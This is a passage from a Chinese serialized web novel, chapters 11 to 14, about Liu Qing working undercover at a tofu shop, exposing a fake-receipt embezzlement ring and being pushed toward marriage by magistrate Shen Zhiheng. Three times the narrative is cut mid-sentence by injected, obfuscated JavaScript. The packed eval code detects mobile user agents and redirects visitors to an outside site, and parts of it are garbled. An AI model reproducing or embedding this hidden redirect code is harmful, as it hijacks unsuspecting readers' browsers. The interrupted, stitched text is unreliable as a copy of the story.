席间，柳清吃得心满意足，状似无意地问：“有个问题我很好奇，伯父是京城的知府，你为何不留在京城，反而来这穷乡僻壤的清河县当个七品芝麻官？” 沈之衡淡淡一笑，语气随意：“为百姓谋福祉，在哪处都一样。” 柳清像是看什么稀奇物什一般，打趣道：“沈大人真是……高风亮节，令人佩服！佩服！” 见沈之衡只是笑着看她，并不接话，才接着说道：“只是这世上的人啊，哪个不是削尖了脑袋往高处爬，像大人这般甘愿屈居于此的，还真是少见。” 11. 第 11 章 次日，天刚蒙蒙亮，柳清睡眼惺忪地踱到豆腐铺来上工。 还未踏入门槛，便闻王婆中气十足的吆喝声传来：“你这丫头，怎的今日来得如此迟？瞧瞧人家，日头还未升起便来做活了！” 柳清顺着王婆的目光看去，只见那一排磨盘前，她那“驴同事们”正吭哧吭哧埋头苦干，压根儿没分给她半个眼神，不由心中感慨，人和牲口，果然还是有壁的。 王婆见柳清杵在原地，没好气地将她一把拉到堆满豆腐的板车前，数落道：“今日你来得迟，便罚你去送豆腐！莫要说你推不动这车，老婆子我昨日可是瞧见你的本事了！” 王家豆腐铺每日为清河县各大酒肆供应豆腐，数目极大，需得来回几趟方能送完。 以往都是店中小厮赶着驴车送货，今日却让柳清一个人推着平板车去，王婆美其名曰“能者多劳”，可这分明是变着法儿地“压榨”她！ 不过这对柳清来说倒是好事，她本就是来此做卧底，接触到的工作内容越多，越方便她摸清这豆腐铺的底细。 于是柳清二话不说，撸起袖子便推着板车出了门。 原先负责送豆腐的小厮见柳清如此逆来顺受，于心不忍，偷偷追上她提点道：“翠花姑娘，你去秦家酒楼送豆腐时，可以让掌柜的多开一张收据，凭那收据可去聚财钱庄换钱，你也能落得些辛苦钱，不过这事你可千万别往外说。” 还有这种操作？这倒是闻所未闻。 柳清感激地朝小厮笑了笑，心想这小厮倒是热心肠，看来这豆腐铺的生意，果真如她所料，没那么简单。 推着一车豆腐，柳清依次前往清河县各大酒楼送货。 一路上，不少人对柳清独自一人推着如此沉重的平板车而感到惊奇，纷纷侧目。 有些好心的酒楼掌柜见她一个姑娘家，做这样辛苦的活计，心中不忍，便会多赏她几文辛苦钱。 柳清倒也不推辞，笑着谢过，一路下来，竟也攒下了不少。 送完几家酒肆的豆腐，柳清按照小厮的指点，来到秦家酒楼后门。 车停在门口，却不见掌柜的身影，只一个账房先生模样的中年人走出来，点算豆腐数量。 柳清按单搬运，来回几趟，将豆腐搬到后厨时，偶然发现前堂角落里坐着一个食客有些眼熟，那人正目不转睛地盯着自己，似是有话要说。 柳清不动声色地走近几步，仔细一看，才发现那食客竟是乔装打扮过的捕头，杨观。 “杨捕头，你怎会在这里？”柳清压低声音问道。 “柳姑娘，我们怀疑这家酒楼涉及私盐交易，今日特来此暗访。”杨观面色凝重，低声解释道。 随即，他又语带疑惑：“沈大人知道你在这里做工吗？他似乎对你格外在意，应该不会舍得让你做这种粗活吧？” 柳清本想说她作何活计，跟沈之衡毫无关系，但又觉得没必要解释那么多。 恰好此时账房走过来，催促道：“你这丫头，磨磨蹭蹭做什么呢？还不赶紧搬，这豆腐要是坏了，你赔得起吗？” 杨观见状眉头一皱，撸起袖子就要上前帮忙，却被柳清一把拉住。她摇了摇头，示意杨观不要轻举妄动，免得暴露了身份。 待豆腐全部搬完，她来到账房面前，“劳烦老爷开一下收据，俺好回去跟王婆交差。” 那账房瞥了她一眼，从柜台里拿出三张收据，熟练地写好递给她。 柳清接过一看，两张是正常的豆腐收据，第三张数额较小，但也有十两银子，显然是给她的“辛苦费”。 十两银子可都抵得上沈之衡的月银了！ 柳清暗自咂舌，心想这挣钱的手法怎能如此容易？这秦家酒楼必定有问题。 不过豆腐收据为何会有两张？方才送的别家酒楼，都只给了一张啊？ 柳清心中虽是这般作想，却不动声色地将三张收据收入袖中，朝着账房福了福身，便推着空板车离开了。 她此刻归心似箭，决定去钱庄一探究竟，看看这收据是否真能兑换现银。 临走时，她想跟杨观打声招呼，却发现大堂里的人已不见了踪影。 离开秦家酒楼，日头已升至中天。 柳清抬手遮了遮有些刺眼的日光，只觉得初秋的天气，竟有些燥热起来。 她不由得加快了脚步，心中暗道：若是再耽搁下去，恐怕就无法按时返回豆腐铺了。 忽然，一个熟悉的声音从身后响起：“阿柳姑娘，这是要去哪儿啊？” 柳清闻声回首，只见身后之人竟是秦暮。 “秦老板，”柳清微微颔首，算是打了招呼，“我正要去办点事。” 秦暮的目光落在那辆空荡荡的平板车上，笑着问道：“这是要去买菜吧？豆腐铺的仆役工人不少，怎么偏偏让你一个姑娘家出来做这些粗活？” 柳清淡淡一笑，却并未做任何解释。 秦暮见她不愿多说，也不再多问，只笑着道：“若是买菜，不妨去秦家酒楼的后厨看看，那里每日都有固定商贩前来送菜，姑娘报我的名字，可随意挑选一些。如此一来，王婆给的买菜钱，姑娘便可自己留下。” “多谢秦老板好意，只是我今日还有其他事要办，就不去叨扰了。”柳清婉言谢绝，心中却暗暗记下了此事。 简单寒暄几句后，柳清便告辞离去，留下秦暮一人站在原地，望着她的背影若有所思。 穿过熙熙攘攘的人群，柳清紧握手中收据，快步来到城西的一家钱庄。 这钱庄乃是聚财商会名下，虽规模算不得宏大，却自有一番气派。 柳清定了定神，迈步跨过门槛，将手中收据递与了柜台后的伙计。 那伙计漫不经心地接过收据，随意扫了一眼，便从柜台下摸出一串铜钱，“哗啦”一声扔在柳清面前。 柳清眉头微蹙，这一串铜钱，至多也不过一贯，与收据上十两银子的数目相差甚远。 “伙计，这收据上明明写的是十两银子，为何只给这么一点？”柳清质问。 那伙计斜睨了她一眼，不耐烦道：“就给这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572345|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多，你待怎的？不想换就滚出去，别耽误老子做生意！” 柳清这才明白过来，原来这其中还有这般猫腻。 想来这一贯钱才是给自己的“辛苦费”，真正的银子，怕是被这钱庄和那酒楼私下分吃了。 胳膊拧不过大腿，柳清把那一贯钱揣进怀里，转身打算回豆腐铺。 谁知刚走到街角，就瞧见秦家酒楼门口，被一群身着官服的衙役围得水泄不通，更有不少百姓聚于外围看热闹，喧嚣异常。 柳清心中好奇，也想去瞧个究竟，无奈人群实在太过拥挤，她难以近前，只能远远观望。 但这么看总是不得劲，她索性把平板车停在路边，足尖一点，便轻盈地踩上了平板车边缘，试图登高望远。 谁料想，乐极生悲，板车轱辘在青石板路上毫无预兆地一滑，柳清惊呼一声，身子便不受控制地向后倒去。 “小心！” 千钧一发之际，一双有力的手稳稳接住了她。 柳清惊魂未定，抬起头，正对上一张熟悉的脸——沈之衡身着皂色官服，剑眉星目，神情严肃。 “你这丫头，毛手毛脚，冒冒失失，若是摔破了脑袋可如何是好？本来就不聪明……”沈之衡忍不住开口训斥。 柳清被他说得有些赧然，手忙脚乱从他身上下来，待站稳身子后，摸了摸鼻子，小声问道：“沈大人，这秦家酒楼发生什么事了？你和我说说？” 沈之衡却避而不答，只是板着脸道：“不要妨碍本官办案，赶紧离开！若是真想知道，晚饭时来县衙，别忘了你答应过我的，三碗饭，一碗都不能少！” 柳清本还想再问问清楚，但沈之衡确实公务在身，不好再多打扰，便乖乖地转身要走。 沈之衡看她单手就把那平板车推得飞快，整个后背都被汗浸得湿透了，到底还是忍不住伸手拦住了她。 日头逐渐攀高，眼看着已近午时，沈之衡关切地问：“你午饭可吃过了？” 柳清摇摇头，王婆管她午饭，此时回去正好赶上饭点。 沈之衡见状，轻叹了口气，领着她来到街边一处烧饼摊前。 那烧饼摊的炉子里，刚贴上新一炉的饼，香气四溢，只是要等上一会儿才能吃上。 沈之衡作势要掏钱买饼，却被柳清一把按住了手。 柳清心中惦记着豆腐铺的免费午饭，怕等久了误了时辰。 单纯的沈之衡还以为她不愿白吃自己的，便贴心解释道：“本官也还没顾得上吃饭，正好饿了，一张饼也吃不完，你我分食了吧。” 说罢便伸手入怀，似要掏钱袋，却在怀中摸了半天，也没摸索到熟悉的分量，脸色顿时一僵。 他这才想起，自己出门时竟忘了带钱袋。 柳清见他窘迫的模样，当即猜到缘由，忍不住“噗嗤”一声笑了出来，却也知他公务繁忙，不好在大庭广众损了县太爷的面子，便十分大度地开口道：“既然沈大人饿了，那便由民女来请吧。” 说着，便掏出刚从钱庄取回的那串铜钱。 12. 第 12 章 新出炉的烧饼焦香扑鼻，柳清拿了大半，不想再耽搁时间，边走边吃。 沈之衡见她吃得香，嘴角也不自觉带上一丝笑意。他目送柳清推着平板车，渐渐走远，直到那抹身影消失在街角，才敛起神色，转身走进喧闹的秦家酒楼。 柳清回到豆腐铺的时候，果然已经过了午膳时间。 王婆见她回来得晚，一脸不悦，将手里一块硬邦邦的冷馒头扔给她，嘴里嘟囔着：“死丫头，跑哪儿野去了？还不赶紧去推磨，磨完了一天的豆子才能吃饭！” 柳清接过馒头，心中叫苦不迭。早知道就不等那烧饼了，好吃归好吃，但不顶饱，都怪自己嘴馋。 她啃了两口冷馒头，认命地走到石磨旁开始推磨。一圈，两圈，三圈……机械地推着磨，思绪却飘向了别处。 秦家酒楼分明出了事，看当时的情形，似乎还挺严重，难道是查到私盐了？ 正闷头走神，她忽然感觉衣角被人轻轻扯了几下，回头一看，原来是先前送货的小厮，鬼鬼祟祟立在她身后。 “嘘，翠花姐，”小厮压低了声音，凑到她耳边问，“那收据，你可是送去了？钱庄可有为难你？” 柳清摇摇头：“开了十两的收据，就给了俺一贯钱，说是辛苦钱。” 小厮闻言，瞪大了眼，脸色顿时变了，“怎么才一贯钱？他们也太黑心了！我之前送货，少说也能拿个半两银子呢！他们就是看你是个女子，欺负你！” 柳清心中一惊，不动声色问道：“能给这么多？那聚财商会不管吗？” 小厮撇着嘴，“咱们这些跑腿的，吃点回扣算什么？聚财商会，上上下下都不干净，上梁不正下梁歪，谁还管得了这些？” 他顿了顿，又道：“翠花姐，听我一句劝，这钱你赶紧花了，也省得日后犯了业障。” 柳清敷衍地点了点头，那贯钱早就变成烧饼进了肚，要说犯业障，沈之衡得和她对半分。 小厮还想再说什么，磨坊外突然传来王婆尖利的声音：“翠花！” 小厮慌忙跑了，柳清也赶紧抄起磨杆，装模作样继续推磨。 然而，王婆并没有像往常一样斥责她偷懒，而是语气平淡地吩咐：“去店前一趟，有人找你。” 说罢，便侧过身去，浑浊的眼珠却在柳清身上滴溜溜地转了一圈，那眼神古怪，意味不明。 柳清满腹狐疑，硬着头皮走到店前，却见秦暮手摇折扇，正温文尔雅地站在那里。 见到柳清，他立刻露出和煦的笑：“阿柳姑娘，明日就是舍妹的及笄宴了，今日想请姑娘去府上一趟，帮忙准备一二。” 秦暮竟然还记得这事。 柳清不禁将目光投向王婆，心中暗盼她能帮自己婉拒，毕竟今日推磨的活计还没做完，哪有闲暇去帮人操办及笄礼？ 谁料，王婆非但没拒绝，反而满脸堆笑地将柳清往前推了一把，那殷勤的劲头，仿佛秦暮是什么天大的贵人一般。 柳清满心疑惑，王婆见状，忙附到她耳边：“傻丫头，秦老板这是看上你了！这可是你几辈子修来的福气，以后发达了可别忘了老婆子我！” 柳清听得云里雾里，王婆又接着说道：“那可是秦家酒楼的东家，攀上了他，你后半辈子就吃香喝辣，无忧了！” 说罢，王婆还用力扯了扯柳清的衣袖，示意她别扭捏，热情些。 柳清这才知道，原来秦暮不仅是码头茶馆的掌柜，连秦家酒楼也是他的。 想到适才官差搜查秦家酒楼，柳清心中正自好奇，如今正好跟秦暮打听打听这事，便应了下来。 路上，柳清忍不住问：“敢问秦老板，酒楼里究竟出了何事？” 秦暮不以为意地摇着折扇，答道：“不过是一个贪财的账房，私下克扣酒楼银两，给别人开假收据，被我发现了，便报了官。谁知那账房抵死不认，竟一头撞死在柱子上，这才闹得满城风雨，引来了许多官差。” 柳清听闻此言，心中一惊，肚子里那半个烧饼顿时像烧起来一般，灼得她心慌。 她暗自思忖：那一贯钱，还好是花在沈之衡身上了，毕竟邪不压正，那死掉的账房应该不敢来找她索命。 穿过热闹的街道，柳清跟着秦暮来到一座府邸前。 朱漆大门敞开着，两侧石狮威风凛凛，门内影壁上雕龙画凤，一看便知是富贵人家。 跨过高高的门槛，只见院落深深，假山池沼，曲径回廊，景色优美，精致华丽更胜柳清之前住过的柳府数倍。 一路行来，柳清暗暗咋舌，心中对秦暮的财力又有了几分估量。 看来，这秦家酒楼的生意比她想象的还要红火许多。 秦府的管家是一位和蔼的老者，他将柳清带到一处长廊，指着廊下的红绸彩带说：“姑娘请看，明日小姐及笄礼，还需多添些喜庆装饰，这些就有劳姑娘了。” 说罢，管家从袖中取出一锭银子递给柳清，“这是十两纹银，姑娘先拿着用，若不够，老朽再取来。” 柳清见秦暮出手如此阔绰，心中暗暗敬佩，更不愿白白受人恩惠，于是点头应下，开始用心装饰起长廊。 她将红绸带在廊柱上绕了一圈又一圈，却怎么也系不出好看的样式。 正发愁时，眼角突然瞥见远处两个身影并肩走来，定睛一看，竟是沈之衡和秦暮。 柳清心中一惊，这两人怎么凑一块儿去了？ 再仔细一瞧，那两人有说有笑，看起来竟是十分熟稔。 不想被沈之衡发现，柳清慌忙闪身，躲到一根朱红廊柱之后，心中暗暗祈祷他们莫要往这边来。 然而怕什么来什么，沈之衡和秦暮偏偏就要经过这长廊。 沈之衡一眼便瞧见露出半截身子的柳清，先是愣了一愣，随即转头问秦暮道：“秦老板，在下这未过门的夫人，怎会在你府上？” 未过门的夫人？ 秦暮剑眉一挑，目光在二人之间来回梭巡。 柳清羞愤难当，恨不得地上裂开一条缝，让她钻进去躲起来。 沉默片刻，秦暮转头望向柳清，似笑非笑道：“阿柳姑娘，你不是说你的未婚夫婿在乡下吗？怎么如今又成了沈大人的未过门夫人了？你这是……在欺骗秦某吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572346|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 柳清只觉脸上火烧火燎，心虚地“嘿嘿”两声，不知该怎么解释。 沈之衡面沉似水，厉声问道：“究竟怎么回事？” 柳清羞愧难当，却又不敢像往常那样和沈之衡呛声，毕竟还有秦老板在场，若是让县太爷丢了面子，恐怕她得吃不了兜着走。 她咬了咬唇，支支吾吾道：“回大人，民女……民女只是在秦老板府上做些活计，赚些银钱……您二位有正事要谈，民女就先退下了。” 说着，柳清便想脚底抹油，溜之大吉。 然而她还未转身，便被秦暮拦住了去路。 秦暮深深看了她一眼，问道：“阿柳姑娘，既然沈大人是你的未婚夫婿，为何你还要装作穷困潦倒的模样，来我府上做工？莫非……是沈大人待你不好？” 秦暮热心肠柳清是知道的，但眼下分明是要逼她入绝境。 若是承认沈之衡待她不好，岂不是平白让沈之衡难堪？ 可若是否认，又该如何解释她为何要隐瞒身份，在秦府做工？ 柳清心乱如麻，眼珠骨碌碌转着，竟盘算着，要不用怀里没吃完的半个干馒头，把眼前这两人砸晕算了。 沈之衡见她这般模样，忽的上前一步，一把将她拉到自己身边，有礼却又冷淡道：“秦老板，这是在下和内人的家事，就不劳您费心了。今日公务繁忙，改日再来叨扰。” 说罢，便拉着柳清匆匆离开了秦府。 柳清一路被沈之衡紧紧攥着手腕，动弹不得，也不敢开口挣扎。 行至僻静处，沈之衡才停下脚步，低头看着柳清，语气严肃：“你这段时间，一直都在秦府做工？” 柳清忙摇头解释：“不是的，我今日才刚来，秦老板给了我十两银子让我帮忙布置明日的宴会……”说到此处，她又有些迟疑，“我现在离开，是不是不太好？要不，我把银子退回去？” 沈之衡闻言，脸色瞬间阴沉下来，厉声喝道：“以后不许再来找秦暮！” 柳清被他突如其来的怒火吓了一跳，头上的火苗“蹭”地一下冒了出来，梗着脖子反驳：“为什么？秦老板他人挺好的啊，给的工钱也多，我为什么不能来？” “你若缺钱，我给你便是，无需你抛头露面去赚这些。秦暮是什么人你根本不了解，贸然就到别人家去，若是传出去，你的清誉还要不要了？”从语气中听得分明，沈之衡已是动了真怒。 可柳清是谁啊，平日里最讨厌别人说教，更何况还是沈之衡这个总是抓她、凶她的人。 她柳眉倒竖，杏眼圆睁，毫不示弱地瞪了回去，“我又没做什么见不得人的事，怕什么传出去？我不过是想自食其力，赚点辛苦钱，你倒是管东管西，你凭什么管我？” 她越说越气，下定主意要跟沈之衡对着干，转身就要回秦府。却不想下一瞬，身子骤然腾空，竟被沈之衡拦腰抱起，扛在了肩上。 柳清惊呼一声，在他怀里挣扎起来，活像一条离了水的鱼。 沈之衡按不住她，混乱之中在她屁股上打了一巴掌，柳清顿时变成一条死鱼，不动弹了。 13. 第 13 章 巷口停着一辆朴素的马车，柳清还没从方才的变故中回过神来，就被沈之衡粗暴地丢进了车厢。 赶车的杨观吓了一跳，刚想问问是否需要帮忙，被沈之衡冷冰冰一句“去城东柳宅，赶车”打发了。 沈之衡随后也坐进车厢，将柳清挤在角落里，一路无言。 逼仄的空间，两人靠得很近，柳清觉得浑身都不自在，一颗心七上八下。 她从没见过沈之衡发这么大火，一时间没了主意，忍不住胡思乱想：沈之衡该不会要把她卖给人牙子吧？ 她心慌意乱，偷偷掀起车帘往外看了一眼，却听闻沈之衡一声轻咳，吓得立时缩回了手。 车内静默无声，气氛压抑得几欲凝滞。柳清心下惴惴，终是按捺不住，低声问道：“喂，这……这是要去哪？” 沈之衡将视线移到柳清脸上，语气虽无波澜却不容置疑：“去你家，提亲。” “提，提亲？！”柳清以为自己听错了，一双杏眼瞪得溜圆，活像见了会说人话的猫儿一般，“去，去我家提亲？？” “秦暮此人并非善类，你以后不可再与他来往。”沈之衡神色郑重，没有给她追问的机会，自顾自说道，“我会尽快娶你过门，这几日你便安心待在家中，等我消息。” “什么？！”柳清顿时急了，“为何突然这般着急？不是说好等父亲的案子水落石出再……” “我反悔了。”沈之衡打断她的话。 “你……”柳清又羞又恼，她长这么大，还没见过如此霸道之人！她一把推开沈之衡，就要往车厢外冲，“停车！我要下去！” 然而沈之衡动作更快，眼疾手快抓住她的手腕，将她猛地拽了回来。 柳清拼命挣扎，两人在狭小的车厢内拉扯起来，车厢本就不大，两人这般推搡，更是显得局促。 惊得那拉车的马儿不安地嘶鸣起来，车身也跟着剧烈晃动，像是随时要散架一般。 驾车的杨观拼命控制着缰绳，紧张得额头上渗出一层细密汗珠。 马车晃晃悠悠，终于停稳在柳清家门前。 柳清如同受惊的兔子一般，掀开车帘就往外冲，眨眼间就消失在巷子尽头。 沈之衡看着她慌慌张张的背影，无奈叹气，这丫头，还真是半点规矩都没有。 料想以柳清的身手，这会儿再去追也是徒劳，索性转身去找柳母，先把亲事定下来再说。 柳母得知沈之衡的来意，脸上的褶子都笑开了花，忙不迭地招呼他进屋。 只是提起柳清，柳母面露难色，“这孩子也不知跑哪野去了，之衡你看这……” “伯母不必担忧，清儿性子活泼，随她去就好。只是这亲事，宜早不宜迟，明日我便命人送上聘礼，嫁衣行头也都备妥了，只等选个吉日，便可风风光光地迎娶清儿过门。”沈之衡说着，起身向柳母深施一礼。 柳母听了更加欢喜，将沈之衡送出门外，眉眼间满是喜色。 她心满意足地转身准备回屋，却冷不丁瞧见自家屋顶上趴着个人影，仔细一看，可不正是自家闺女？ 只见柳清半趴在屋顶，一只手撑着瓦片，探着脑袋，一脸懊恼地望着沈之衡离去的方向，想来方才两人的对话，她是听得一字不漏。 “你这孩子，怎么跑屋顶上去了，快给我下来！”柳母抬头望着自家闺女，一脸的无可奈何，“一个女孩子家，要学着乖顺一点，马上就要嫁人了，可别让人看了笑话。” 柳清足尖轻点，身姿轻盈地从房顶跃下，拍了拍身上的灰尘，想也不想便道：“我不嫁！” “你这孩子……”柳母眉心拧成一个“川”字，恨铁不成钢地叹了口气，伸手轻轻戳了戳柳清的额头，“你爹若是还在，哪能容你如此胡闹！整日在外抛头露面，像什么样子！查案的事自有官府去做，你一个姑娘家家的瞎掺和什么？再说了，你看看你，都及笄好几年了，再不张罗着嫁人，以后可就真的没人要了！” “没人要就没人要，我偏不嫁！”柳清语气倔强，带着几分赌气。 见女儿油盐不进，柳母不禁悲从中来，眼圈渐渐红了，哽咽道：“孩子，你爹走得早，娘就你这么一个依靠，娘不求别的，只希望你能平平安安地过日子……” 她说着，拿起帕子拭了拭眼角，又道：“这门亲事，是你爹生前就定下的，他若是知道你如今这般忤逆，定然会寒心的……” 柳清最见不得母亲垂泪，一颗心像是被揉碎了一般，眼眶也跟着泛红，心中万般不愿，却还是松了口：“娘，你别哭了，我答应你就是了。” 嘴上虽然答应了，可柳清心里却另有打算。 她暗暗握紧了拳头，心想：先利用沈之衡查清爹爹的案子，等真相大白之日，便是他沈之衡被一脚踢开之时！反正，论拳脚功夫，沈之衡可打不过她！ 翌日清晨，天刚蒙蒙亮，柳清依照往常准时来豆腐铺上工。 王婆见她出现，颇为惊讶，上下打量了她一番，问道：“你这丫头，怎么又来了？莫不是被秦老板赶出来了？” 柳清对王婆的话充耳不闻，只闷着头走到磨盘前，挽起粗布衣袖，埋头干起活来。 王婆见状，不可置信地摇着头，布满皱纹的脸上写满了恨铁不成钢：“你这丫头，真是榆木脑袋不开窍！放着好好的福气不知道享，偏要来这推磨，活该是个穷苦命！” 秋日清晨，空气中飘散着豆花的清香，还带着些许未散的暑气。 柳清在后院奋力推着磨盘，一下又一下，仿佛要将心头的烦闷与不甘一并碾碎。 几个小厮和仆役正忙得热火朝天，清洗、搬运、晾晒豆腐，每个人都各司其职，井井有条。 忽听得一阵喧哗声由远及近，打破了豆腐坊清晨的宁静。 未等众人反应过来，只听“砰”的一声巨响，院门被人从外面猛地撞开，紧接着，乌泱泱一群身穿皂衣的官差便涌入院内。 他们个个手持水火棍，面容冷峻，在院子里扫视一圈后，不由分说将正在忙碌的小厮仆役们全部赶到墙角，厉声喝令道：“都蹲下，不许乱动！” 王婆吓得两腿发软，几乎站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572347|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立不住，被两个官差粗鲁地架着胳膊，跌跌撞撞带到院中央。 她定了定神，颤声问道：“各位官爷，老身一向安分守己，不知犯了何事，要劳烦各位大驾光临啊？” 为首的官差上前一步，一双鹰隼般锐利的眼睛紧紧盯着王婆，“王婆，到了这地步，你还想狡辩！你长期给秦家酒楼供应豆腐，却与那酒楼的账房勾结，做假账，中饱私囊，贪墨银两，你可知罪！” 说着，官差从怀里掏出一沓厚厚的收据，啪地一声摔在王婆面前。 泛黄的纸页上，墨迹清晰，正是王婆与秦家酒楼账房来往的账目明细。 王婆颤巍巍地拿起几张，只看了一眼，便脸色惨白，双腿一软，跌坐在地。 那官差见王婆如此反应，心中便知此事八九不离十了。 他冷哼一声，目光扫过墙角瑟瑟发抖的仆役们，厉声道：“你们以为自己只是听命行事就能置身事外吗？你们这些人，哪个不是参与了做假账，中饱私囊！真当王法是摆设不成？！” 那送货的小厮首当其冲，被唤出名姓，登时吓得魂飞魄散，两腿瘫软，被官差半拖半拽地带走了。 临行之际，他绝望地回首望向王婆，期盼她能为自己说句话，哪怕求求情也好。 可惜换来的只是王婆惊恐躲闪的目光，显然，她自身都难保了，更顾不上这个可怜的小厮。 接着，一个又一个名字从官差口中吐出，每叫到一个人，人群中便爆发出更大的恐慌，被点到名的人更是如坠冰窟，面无人色。 柳清这才明白过来，原来这豆腐铺里，竟有这么多人都参与了这桩贪墨案！ 她恍然想起之前去钱庄换钱时，那些伙计见怪不怪的神情，想来这做假账的事，他们早已司空见惯了。 这时，只听那官差又扯着嗓子高声喊道：“翠花！翠花！”喊了几声却不见回应。 柳清正自疑惑，身旁忽然伸出一只手，轻轻戳了戳她。她这才猛然惊醒，“翠花”可不就是她现在用的化名吗，只得缓缓起身。 谁知她这刚一动作，旁边两个官差便立刻扑上来，将她死死按住。 为首那官差见她方才不声不响，分明是想蒙混过关，心中更加恼怒，怒骂道：“别以为装聋作哑就能逃脱惩罚！给我带走，押入大牢！” 阴森逼仄的牢房中，霉腐之气与汗臭交织，令人几欲作呕。 柳清已是第三次入这牢房，颇有一种回家了的熟悉感。 那个教柳清开假收据的小厮，此刻正缩在角落里，时而低声啜泣，时而痴痴傻笑，状若疯癫。 柳清被他吵得心烦，忍不住开口道：“你别哭了！依照大盈律法，只要把贪墨的赃款如数交还，便可免除罪责。” 结果那小厮闻言，非但没有停止哭泣，反而哭得更大声，“翠花姑娘，你有所不知啊！我收的那些不义之财，早被用来给老母亲抓药治病，如今已是花光了！若是交不出赃款，我这辈子怕是都要在大牢里度过了！可怜我那年过八旬的老母，今后无人照料，可该如何是好啊……” 14. 第 14 章 柳清蜷缩在干草堆上，只觉腹中空空，四肢冰凉，难以入眠。 半夜时分，她被一阵窸窸窣窣的声音吵醒，借着微弱的烛光，看到王婆坐在对面，臃肿的身影在斑驳的墙壁上投下一团暗影。 她目光呆滞，不知看向何处，仿佛一具失了魂的行尸走肉。 “王婆，你怎么不睡？”柳清揉了揉眼，轻声问道。 许是太过疲惫，她一时忘了伪装口音。王婆却浑然不觉，缓缓转头，浑浊的眼中闪过一丝悲凉：“睡不着啊，老婆子我怕是没几天活头了，趁着现在还清醒，好好想想自己这一辈子，也算没白活……” 她长叹一声，目光盯着虚空，“自从我那侄儿王福死了之后，我就知道自己也逃不掉了。这些年，豆腐铺的那些腌臜勾当，其实都是他在背后一手操办的……” 柳清心头一凛，忙问道：“王婆，这些年，你们用这豆腐铺子做幌子，贪墨来的银两，究竟去了何处？是不是……和那私盐买卖有关？” 王婆苦笑着摇了摇头：“我一个孤老婆子，无儿无女，攒下那些银子，也不过是想给自己养老送终罢了。至于其他的……” 她语气一顿，似乎陷入回忆，眼神飘忽不定，犹豫片刻后，最终还是说道：“那些钱，大部分都被王福拿走了，我也不知道他拿去做了什么。至于私盐，我老婆子可没胆子碰那玩意儿。” 沉重的牢门吱呀一声打开，一道黑影出现在门口。 借着昏暗的烛光，柳清看清来人是个身形魁梧的狱卒。他一手提着灯笼，一手拿着钥匙，锐利的目光在牢房里扫视一圈，像是在寻什么人。 王婆见状，仿佛抓住了救命稻草一般，猛地扑到栅栏边，嘶声喊道：“官爷！官爷！老婆子我认罪，求求你行行好，连夜把我斩了吧！老婆子我不想活了！” 狱卒不耐烦地皱了皱眉，低头看了一眼手中名册，又抬头看了看柳清，冷冷道：“翠花，出来。” 两侧狱卒粗暴地将柳清押解到刑房门口，还未踏入门槛，一股阴风便夹杂着浓重的血腥气扑面而来，柳清忍不住打了个寒颤。 逼仄的空间里，烛光在墙壁上投下摇曳的阴影，地上残留着触目惊心的血迹，刑架就那么赫然立在房间中央，手臂粗的铁链泛着冰冷光泽。 柳清顿觉头皮发麻，两条腿仿佛灌了铅似的沉重。 难道是要把自己绑上去不成？她心中惊惧，下意识想要退后，却被身后的衙役粗暴地一把推了进去。 动作间，柳清注意到刑案旁还坐着一个人。待她被狱卒推搡着走近，才发现竟是沈之衡。 他本就生得眉目凌厉，此时坐在昏暗的刑房中，一言不发，更显得周身寒意逼人。看见柳清被带进来，原本就阴沉的脸色又冷了几分。 柳清心里咯噔一下，却还是硬着头皮，怯生生地唤了一声：“沈之衡……” 沈之衡眼皮都没抬一下，仿佛根本没听见她在说话，只是冷冷吐出两个字：“绑了。” 虽没有被绑在刑架上，但看狱卒拿着粗麻绳朝自己走来，柳清仍旧害怕极了。 她以为沈之衡是要对她刑讯逼供，肩膀一塌，做出一副可怜模样，试图唤起沈之衡那不知还有没有的同情心。 然而沈之衡却不为所动，甚至伸手取过搁在一旁的鞭子，手腕一抖，长鞭在空中划出一道凌厉的弧线，发出“啪”的一声脆响， 柳清吓得缩了缩脖子，眼泪在眼眶里打转，语速也跟着急促起来：“沈之衡！你这是做什么？按照大盈律法，我只是在不知情的情况下替人跑腿，只要将收受银钱如数奉还即可，你不能对我动用私刑！” 沈之衡冷笑一声，继续把玩着手里的鞭子，声音冰冷如霜，“你可知错？” 柳清被他这一招吓得不轻，以为沈之衡是要动真格的，原本强撑着的冷静瞬间崩塌，眼泪夺眶而出，语气中也带着哭腔：“如果我有罪，那你也逃不掉！那一贯钱，我可是买了烧饼，咱俩一人一半吃了，谁也别说谁！” 沈之衡闻言，手上动作一顿，那吓人的鞭子终于放下了。 柳清一直提着的心也落回了肚子里，可劫后余生的后怕却让她眼泪怎么都止不住，只能断断续续地小声抽噎。 